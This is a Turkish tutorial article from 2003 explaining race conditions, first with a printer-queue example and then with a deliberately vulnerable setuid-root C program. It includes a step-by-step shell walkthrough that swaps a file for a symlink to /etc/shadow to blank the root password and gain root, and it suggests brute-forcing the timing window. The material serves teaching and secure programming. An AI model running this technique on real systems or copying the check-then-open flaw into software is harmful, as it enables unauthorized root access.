Race Conditions


A. Murat EREN ([email protected], http://zion.comu.edu.tr/~evreniz/)

Belge sürümü 0.1, 07/2003, Çanakkale


Süreç, işletim sistemi içerisinde 'çalışma' durumunda olan programdır. En basit anlamıyla süreç, kendi program kodundan, özel verilerinden, ve işlemci bayraklarının konumlarından oluşur.


İki ya da daha fazla sürecin okuduğu ya da yazdığı, paylaşımlı bellek bölgelerine ya da dosyalara olan erişim zamanlarının işlemlerin sonucuna etki edebildiği durumlara race conditions denmektedir. Normal koşullarda erişim zamanları kritik sorunlara ya da avantajlara neden olmamalıdır.


İşletim sisteminin çalışma zamanı esnasında süreçlerin birbirleri ile ne kadar sık ve hayati şekilde iletişim halinde bulunduğu gerçeği göz ardı edilemez. Bu koşturmaca ve karmaşıklık, bir çok problemin çözümünü sağladığı gibi, dikkat edilmesi gereken bir çok noktayı da beraberinde getirmiştir. Bu problemlerin ve dikkat edilmesi gereken noktaların neler olabileceğini görmek, çözümlerini öğrenmek çok heyecan vericidir.


İşletim sistemi içerisinde çalışan süreçler sık sık aynı alanlara yazmak ya da aynı alanlardan okumak durumunda kalabilir. Bahsi geçen alan, bellekteki paylaşımlı bir alan ya da bir dosya olabilir; bu alanın karekteristiği, iletişimin doğasını ya da problemlerin ortaya çıkış şekillerini etkilemeyecektir. Bu belge içerisinde bir çok problemden birisi olan race conditions ele alınacaktır.


Tehlikenin neden olabileceği problemler, bu durumu meydana getiren süreçlerin kaynağına göre iki grupta incelenebilir. Birinci grup, 'güvenilen' süreçlerin neden olabileceği durumlardır. Bunlar sonucunda beklenmedik kitlenmeler, beklenmeyen sonuç üretme durumları ile karşılaşılabilmekedir. Yazıcı kuyruğu örneği bu duruma açıklık getirmek üzere verilmiştir. İkinci grup ise, güvenilmeyen, üçüncü parti süreçlerin neden olduğu durumlardır. Kimlik denetimsiz şekilde, bilgiye kontrolsüz ulaşabilme, bilgiyi gizlice değiştirebilme ve kaynağın erişilebilirliğin önüne geçebilme gibi büyük riskler ihtiva etmektedir. İkinci örnek de bu ihtimali açıklığa kavuşturacaktır.


Birinci grupta olduğunu söylediğimiz, güvenilen süreçlerin neden olduğu race conditions'a bir örnek teşkil etmesi açısından pirimitiv bir yazıcı kuyruğu örneğini ele alalım. Bir süreç bir dosyayı yazdırmak istediğinde, yazdırmak istediği dosyanın adını özel bir kuyruğa ekliyor olsun. Yazıcının yazdıracağı bir dosya olup olmadığını belirli aralıklar ile kontrol etmekle yükümlü olan süreç, kuyruğa yeni bir dosya eklendiğini görünce onu yazıcıya göndermek ve daha sonra ismini kuyruktan çıkarmakla yükümlü olsun.


Diyelim ki, yazıcımızın kuyruğu 0, 1, 2, 3 şeklinde numaralandırılmış ve dosya isimlerini saklayacak bir yapıya sahip. Ve varsayalım ki iki adet paylaşımlı değişkenimiz 'in' ve 'out', yazıcı kuyruğundaki bir sonra yazdırılacak elemanın adresini ve yeni eklenecek elemanın hangi adrese eklenmesi gerektiğini yani sıradakı boş slotu tüm ihtiyaç duyabilecek progamlar için tutuyor olsunlar (ortam değişkenleri gibi). Bu koşullar altında varsayalım ki, A ve B süreçleri birbirlerinden habersiz olarak yazıcıdan çıktısını almak üzere yazıcı kuyruğuna birer dosya eklemek istiyorlar.



Yukardaki şeklin ifade etmeye çalıştığı durum koşullarında şöyle bir şeyin gerçekleşmesi mümkündür, A süreci in değerini okur ve bir_sonraki_bos_slot adı ile kendi kodu içerisinde yerel bir değişkene okuduğu 7 değerini atar. O esnada işletim sistemi A'nın işletimde hangi aşamasında olduğundan bağımsız bir şekilde, A sürecinin yeteri kadar işlemcide çalıştığına kanaat getirir ve süreçlerin bulunduğu kuyruktan sıra bekleyen bir diğer süreci işlemcinin ilgilenmesi için çağırır. Kuyrukta olan süreçlerden bir diğeri olan B sürecine sıra geldiğinde, o da A gibi in değerini okur ve 7 değerini elde eder, kendi yazdıracağı dosyayı 7 numaralı slota ekler, in değerini 8 olacak şekilde bir arttırarak diğer işleri ile ilgilenmeye başlar ya da süreç normal şekilde, yazıcıdan dosya alma işlemini yerine getirdiğini umarak sonlanır.


Er geç, A süreci kaldığı yerden yeniden çalışmaya başlar. bir_sonraki_bos_slot isimli değişkenin değerine bakar ve 7 numaralı slota yazdıracağı dosyanın adını ekler. bir_sonraki_bos_slot+=1 ile elde ettiği 8 değerini in değişkenine yükler. Dolayısıyla, B sürecinin yazdıracağı dosya artık olması gereken yerde yoktur. Yazıcı kuyruğunun çalışmasını bozacak herhangi bir durum da söz konusu olmamıştır. Herhangi bir yanlışlık farketmeyecek olan kuyruktaki dosyaları yazdırmakla yükümlü olan süreç (printer deamon), A'nın dosyasını yazdıracak fakat B hiç bir çıktı alamayacaktır.


Buna benzer durumlar, yazılım geliştiren kişiler için de büyük bir tehlike arz etmektedir. Görüldüğü üzere, kusursuz çalıştığını varsayabileceğimiz A, B ve Yazıcı süreçleri, bir arada çalışırlarken çok görevliliğin yarattığı, işlemcinin süreçleri rastgele anlarda kesip diğerleri ile ilgilenmesi durumundan dolayı bir problem meydana geldi. Elbette bu hataları içeren yazılımların debug edilmesi de çok zor olacaktır. Sadece belirli koşulların gerçekleştiği çok nadir zamanlarda meydana gelen bir hatayı bulmak, samanlıkta iğne aramaktan farksızdır.


Esasında, A sürecinin, kuyruktaki ilk uygun slotun değerini öğrendiği ve orayı kullandıktan sonra ilk uygun slotun değerini tutan değişkenin değerini bir sonraki slotu göstermek üzere bir artırmasına kadar geçen srüre çok kritik bir süredir ve bu kritik an içerisinde iken bu sürecin çalışmasının kesilmemesi gerekmektedir. Peki bu nasıl olacaktır? İşletim sistemleri ve derleyiciler, programcıların bu korkunç problemi kolayca aşmaları için yazılıma ve donanıma bağlı çeşitli çözümler sunmaya çalışmışlardır. Bu çözüm metodlarından belgenin ilerleyen versiyonlarında bahsedilmeye çalışılacaktır.


Ayrıca, yukarıdaki gruplama esnasında da belirtildiği gibi race conditions, çok büyük güvenlik risklerine de kapı aralayabilmektedir, özellikle root hakları ile çalıştırılmasına müsade edilmiş yazılımlardaki dikkatsizliklerin yardımıyla gerçekleştirilebilen, fazlasıyla saldırı metodu mevcuttur. Race Conditions yazılımların çalışma zamanında, bellek taşması, formatlı katarların enjeksiyonu gibi çok bilinen güvenlik açıklarının saldırganlara sağladığı “istenilen kodun çalıştırılabilmesi” tipinde bir güvenlik problemi meydana getirmekten ziyade, saldırganların, bahsi geçen program çalıştığı sürece herhangi bir hata meydana gelmeksizin programın erişmeye yetkili olduğu kaynakları habersizce kullanabilmelerine, değiştirebilmelerine yol açar. Çok basit bir örnek ile bahsi geçen mevzunun daha iyi anlaşılması sağlanabilir.


Örneğin Set-UID ile çalışan bir programı ele alalım, sendmail gibi. Bu program sistemdeki kullanıcılardan birisine ait olan bir dosyayı açıp, içine o kullanıcıya ait gerekli gördüğü bilgileri, mesela kullanıcıya gelen e-postaları yazabilmelidir ve bunu bir çok kullanıcı için yapacağından dolayı root hakları ile çalışıyor olmak zorundadır. Varsayalım ki bir kullanıcı, program yardımı ile herhangi bir sebepten ötürü kendi istediği bir dosyaya bir mesaj yazdırmak istiyor. Bu çok normal, legal bir istektir. Bu durumda program normal olarak, kendisine parametre olarak verilen dosyanın gerçekten var olduğunu, bu dosyanın sahibinin programı çalıştıran kişi olduğunu ve bu dosyanın bir sistem dosyasına uzanan bir link olmadığını kontrol edip yanlış bir şey yapmıyor olduğunu garantiledikten sonra harekete geçecektir. Aşağıdaki kaynak kod, programın yapacağı kontroller ve işlemlerden farklı değildir:




/* ornek.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>

8  int
9  main (int argc, char **argv)
10 {
11 struct stat st;
12 FILE *fp;
13
14 if (argc!=3){
15 fprintf(stderr,"kullanimi : %s dosya mesaj\n", argv[0]);
16 exit(EXIT_FAILURE);
17 }
18 if (stat (argv[1],& st) < 0){
19 fprintf (stderr, "%s dosyasi bulunamadi\n", argv[1]);
20 exit(EXIT_FAILURE);
21 }
22 if (st.st_uid != getuid ()){
23 fprintf(stderr, "%s dosyasi size ait degil\n", argv[1]);
24 exit(EXIT_FAILURE);
25 }
26 if (!S_ISREG(st.st_mode)){
27 fprintf (stderr,"%s normal bir dosya degil\n", argv[1]);
28 exit(EXIT_FAILURE);
29 }
30
31 if ((fp=fopen(argv[1],"w"))==NULL){
32 fprintf(stderr, "Yazmak icin acilamadi\n");
33 exit(EXIT_FAILURE);
34 }
35 fprintf(fp,"%s\n", argv[2]);
36 fclose(fp);
37 fprintf(stderr,"Yazma islemi OK.\n");
38 exit(EXIT_SUCCESS);
39 }



Normal koşullarda sistemde bir çok kullanıcıya hizmet etmekle görevli olan ve root hakları ile çalışan yazılımlar, bu tip durumlarda kendi ayrıcalıklarını bir süreliğine bırakır ve muhtemel tehlikeleri baştan engellemiş olurlar. Örnek çok gerçekçi olmasa da bahsedilen race conditions probleminin nasıl bir güvenlik açığına dönüşebileceği konusunda yeterince açıklayıcı olması açısından iyidir.


Görüldüğü gibi program gerekli tüm kontrolleri sırası ile yapıyor, her şey yolunda ise son olarak dosyaya mesajı yazma işlemini gerçekleştiriyor, buraya kadar tamamen normal gözükmesine rağmen, kontroller ile dosyanın açılması arasında bir güvenlik açığı gizleniyor. stat() fonksiyonu ile dosya hakkındaki bilgilerin ilgili yapıya alınmasından sonra fopen() fonksiyonuna kadar geçen süre elbette çok kısadır fakat bu göreceli kısalık kesinlikle 0 değildir ve bu 0 olmayan süre içerisinde bir saldırgan dosyanın özelliklerini değiştirebilir, böylece programın devam eden adımlarını kendi yararına atmasını sağlayabilir. Kendi ellerimizle bu saldırıyı gerçekleştirebilmek için, -saldırganın da işini son derece kolay hale getirecek- 'sleep(20);' satırını kaynak kodun 30. satırına ekleyelim. Bu sayede program çalışma zamanında az önce bahsettiğimiz tehlikeli yere geldiğinde 20 saniye boyunca uyuyacak biz de bu sırada dosyanın özelliklerini değiştirebileceğiz.


Şimdi kodun son halini derleyip denememizi yapmadan evvel programı Set-UID root yapalım, üzerinde çalışacağımız dosyanın yedeğini alalım.




[[email protected] meren]$ cc ornek.c -o ornek

[[email protected] meren]$ su

Password:

[[email protected] meren]# cp /etc/shadow /etc/shadow.bak

[[email protected] meren]# chown root.root ornek

[[email protected] meren]# chmod +s ornek

[[email protected] meren]# exit

exit

[[email protected] meren]$ ls -l ornek

-rwsrwsr-x 1 root root 12718 Tem 22 14:56 ornek




Şimdi herşey atağımız için hazır. Sizin de tahmin ettiğiniz gibi, shadow dosyası içine istediğimiz mesajı eklemeye ve sistemde haketmediğimiz bir yetkiye sahip olmaya çalışacağız. Bunun için önce kendimize ait bir dosya yaratalım:




[[email protected] meren]$ touch shadow_bagi




Kendimize ait olan bu dosyaya bir şey yazmamızda herhangi bir anormallik yoktur. Derlediğimiz programımızdan, bu dosya içine şunu yazmasını istiyoruz:




[[email protected] meren]$ ./ornek shadow_bagi "root::1:99999:::::" &

[1] 3929




Programımızın 20 saniye uyuyacak olduğunu biliyoruz. çalıştırdıktan hemen sonra dosya üzerinde şu değişiklikleri yapabiliriz:




[[email protected] meren]$ rm -rf shadow_bagi

[[email protected] meren]$ ln -s /etc/shadow shadow_bagi




Bu yapilanda herhangi illegal bir durum yoktur, bildiğiniz gibi bir dosyaya link yaratabilmemiz için o dosyanın sahibi olmamıza yazma hatta okuma hakkına bile sahip olmamıza gerek yoktur. Daha sonra arkaplanda çalıştırdığımız programımızı kabukta tekrar öne alalım:




[[email protected] meren]$ fg

./ornek shadow_bagi "root::1:99999:::::"

Yazma islemi OK.

[[email protected] meren]$




Yazma işlemi tamamlanmış. Bu durumda şunu deneyebiliriz:




[[email protected] meren]$ su

[[email protected] meren]# whoami

root

[[email protected] meren]# cat /etc/shadow

root::1:99999:::::

[[email protected] meren]#




Conc.: Bir yazılımın, herhangi bir saldırganın böyle bir denemeyi yapsın diye 20 saniye boyunca beklemeyeceğini biliyoruz fakat, brute force saldırıları böyle durumlarda çok yüksek başarı gösterebiliyorlar. Kaba bir deyiş ile, bir script yazarak bu koşulu 1 saniye içerisinde 10.000 kez denemek mümkündür. Denemenin herhangi bir süre sınırlaması yoktur, çünkü yapılan şeylerden herhangi birisi illegal bir girişim olarak algılanmayacaktır. Ek olarak, işlemci yoğunluğu while(1); gibi döngülerle arttırılabilir ya da atak programının, -görev zamanlayıcının ona daha fazla öncelik vermesi için nice ile- priority'si mümkün olduğunca düşürülebilir. Bu çaba da beklenen koşulun gerçekleşmesi ihtimali arttırabilir... (Eğer bu denemeyi yaptı iseniz shadow dosyanızı eski hali ile değiştirmeyi unutmayın).




A. Murat EREN

[email protected]

http://zion.comu.edu.tr/~evreniz/





Kaynaklar

Modern Operating Systems, Andrew S. Tanenbaum

Secure Programming for Unix, David A. Wheeler

The Brighton University Resource Kit for Students

Race Conditions, Some Issues and Formalizations, Robert H. Z. Netzer